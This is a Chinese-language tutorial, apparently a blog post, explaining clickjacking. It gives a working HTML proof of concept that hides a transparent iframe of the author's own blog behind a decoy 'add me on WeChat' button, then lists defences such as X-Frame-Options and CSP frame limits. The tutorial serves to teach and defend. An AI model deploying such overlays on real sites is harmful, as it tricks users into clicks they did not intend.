点击劫持（clickjacking）

一. 漏洞描述

二. 点击劫持例子

三. 漏洞防御

一. 漏洞描述

点击劫持， clickjacking，也被称为UI-覆盖攻击。这个词首次出现在2008年，是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。它是通过覆盖不可见的框架误导受害者点击。

虽然受害者点击的是他所看到的网页，但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。

这种攻击利用了HTML中<iframe>标签的透明属性。iframe标签是一个内联框架，说白了就是用来在当前 HTML 页面中嵌入另一个文档

就像一张图片上面铺了一层透明的纸一样，你看到的是黑客的页面，但是其实这个页面只是在底部，而你真正点击的是被黑客透明化的另一个网页。一个简单的点击劫持例子，就是当你点击了一个不明链接之后，自动访问别的链接去了。

二. 点击劫持例子

比如，我写的CSDN博客，某篇文章没啥热度，于是我想更多的人去点击这篇文章，于是我构造了一个页面clickjacking.html

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 test</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 245px;
left: 465px;
z-index: 1;
width: 90px;
height:40px;
}
</style>
</head>
<body>
<button>点击加我VX</button>
<img src="./girl.jpg">
<iframe src="https://blog.csdn.net/qq_44159028?spm=1011.2124.3001.5343" scrolling="no"></iframe>
</body>
</html>

访问如下，看到有一个美女点击可以加微信。那我就点咯~

然而这个页面只是表象而已，我们把iframe的透明度改成0.4以后再看看，修改opacity: 0.4;

我们这里点击加我vx，其实真正点击的是文字下面的那个链接，我们一点击就去访问该文章了。在你不知不觉中执行了别的操作

这是点击劫持的原理，我们可以结合xss、csrf进行攻击

三. 漏洞防御

服务端

1、使用认证码认证用户（验证码机制）

2、 X-FRAME-OPTIONS 机制
在微软发布新一代的浏览器Internet Explorer 8.0中首次提出全新的安全机制：X-FRAME-OPTIONS。该机制有两个选项：DENY 和 SAMEORIGIN。DENY表示任何网页都不能使用 iframe 载入该网页，SAMEORIGIN表示符合同源策略的网页可以使用 iframe载入该网页。如果浏览器使用了这个安全机制，在网站发现可疑行为时，会提示用户正在浏览网页存在安全隐患，并建议用户在新窗口中打开。这样攻击者就无法通过 iframe 隐藏目标的网页。

客户端

DENY：禁止iframe
SAMEORIGIN：只允许相同域名下的网页iframe，同源政策保护
Csp策略，限制frame标签的使用
ALLOW-FROM: https://example.com：白名单限制

升级浏览器
最新版本的浏览器提供很多防御点击劫持漏洞的安全机制，对于普通的互联网用户，经常更新修复浏览器的安全漏洞，能够最有效的防止恶意攻击。